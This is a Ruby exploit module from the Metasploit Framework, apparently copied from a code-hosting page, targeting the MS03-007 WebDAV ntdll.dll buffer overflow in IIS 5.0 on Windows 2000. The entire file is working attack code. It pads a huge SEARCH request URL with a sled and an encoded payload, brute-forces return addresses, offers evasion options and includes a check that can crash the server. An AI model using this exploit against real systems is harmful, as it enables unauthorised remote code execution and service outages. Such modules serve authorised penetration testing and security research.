193 lines
4.6 KiB
Ruby
193 lines
4.6 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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module Msf
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class Exploits::Windows::Iis::MS03_007_WEBDAV_NTDLL < Msf::Exploit::Remote
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include Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow',
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'Description' => %q{
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This exploits a buffer overflow in NTDLL.dll on Windows 2000
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through the SEARCH WebDAV method in IIS. This particular
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module only works against Windows 2000. It should have a
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reasonable chance of success against any service pack.
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},
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'Author' => [ 'hdm' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'BID', '7116'],
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[ 'OSVDB', '4467'],
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[ 'MSB', 'MS03-007'],
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[ 'CVE', '2003-0109'],
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[ 'MIL', '28'],
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],
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 512,
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'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic Brute Force', { } ],
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],
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'DisclosureDate' => 'May 30 2003',
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'DefaultTarget' => 0))
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register_evasion_options([
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OptBool.new('invalid_search_request', [false, 'Replace the valid XML search with random data', 'false']),
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# XXX - ugh, there has to be a better way to remove entries from an
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# enum that overwriting the evalable enum option
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OptEnum.new('HTTP::uri_encode', [false, 'Enable URI encoding', 'none', ['none','hex-normal'], 'none'])
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], self.class
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)
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deregister_options('HTTP::junk_params', 'HTTP::header_folding')
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end
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def autofilter
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rport = datastore['RPORT'].to_i
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if ( rport == 139 or rport == 445 )
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rport = 80
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end
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true
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end
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def check
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url = 'x' * 65535
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xml =
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"<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n" +
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"<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n</g:searchrequest>\r\n"
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response = send_request_cgi({
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'uri' => '/' + url,
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'ctype' => 'text/xml',
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'method' => 'SEARCH',
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'data' => xml
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}, 5)
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if (response and response.body =~ /Server Error\(exception/)
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return Exploit::CheckCode::Vulnerable
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end
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# Did the server stop acceping requests?
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begin
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send_request_raw({'uri' => '/'}, 5)
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rescue
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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# verify the service is running up front
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send_request_raw({'uri' => '/'}, 5)
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# The targets in the most likely order they will work
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targets =
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[
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# Almost Targetted :)
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"\x4f\x4e", # =SP3
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"\x41\x42", # ~SP0 ~SP2
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"\x41\x43", # ~SP1, ~SP2
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# Generic Bruteforce
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"\x41\xc1",
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"\x41\xc3",
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"\x41\xc9",
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"\x41\xca",
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"\x41\xcb",
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"\x41\xcc",
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"\x41\xcd",
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"\x41\xce",
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"\x41\xcf",
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"\x41\xd0",
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]
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xml =
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"<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n" +
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"<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n</g:searchrequest>\r\n"
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if datastore['invalid_search_request'] == true
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xml = rand_text(rand(1024) + 32)
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end
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# The nop generator can be cpu-intensive for large buffers, so we use a static sled of 'A'
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# This decodes to "inc ecx"
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url = 'A' * 65516
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url[ url.length - payload.encoded.length, payload.encoded.length ] = payload.encoded
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targets.each { |ret|
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print_status("Trying return address 0x%.8x..." % Rex::Text.to_unicode(ret).unpack('V')[0])
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url[ 283, 2 ] = ret
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begin
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send_request_cgi({
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'uri' => '/' + url,
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'ctype' => 'text/xml',
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'method' => 'SEARCH',
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'data' => xml
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}, 5)
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handler
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rescue => e
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print_error("Attempt failed: #{e.to_s}")
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end
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1.upto(8) { |i|
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sleep(0.25)
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return if self.session_created?
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}
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if !service_running?
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print_error('Giving up, IIS must have completely crashed')
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return
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end
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}
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end
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# Try connecting to the server up to 20 times, with a two second gap
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# This gives the server time to recover after a failed exploit attempt
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def service_running?
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print_status('Checking if IIS is back up after a failed attempt...')
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1.upto(20) {|i|
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begin
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send_request_raw({'uri' => '/'}, 5)
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rescue
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print_status("Connection failed (#{i} of 20)...")
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sleep(2)
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next
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end
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return true
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}
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return false
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end
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end
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end
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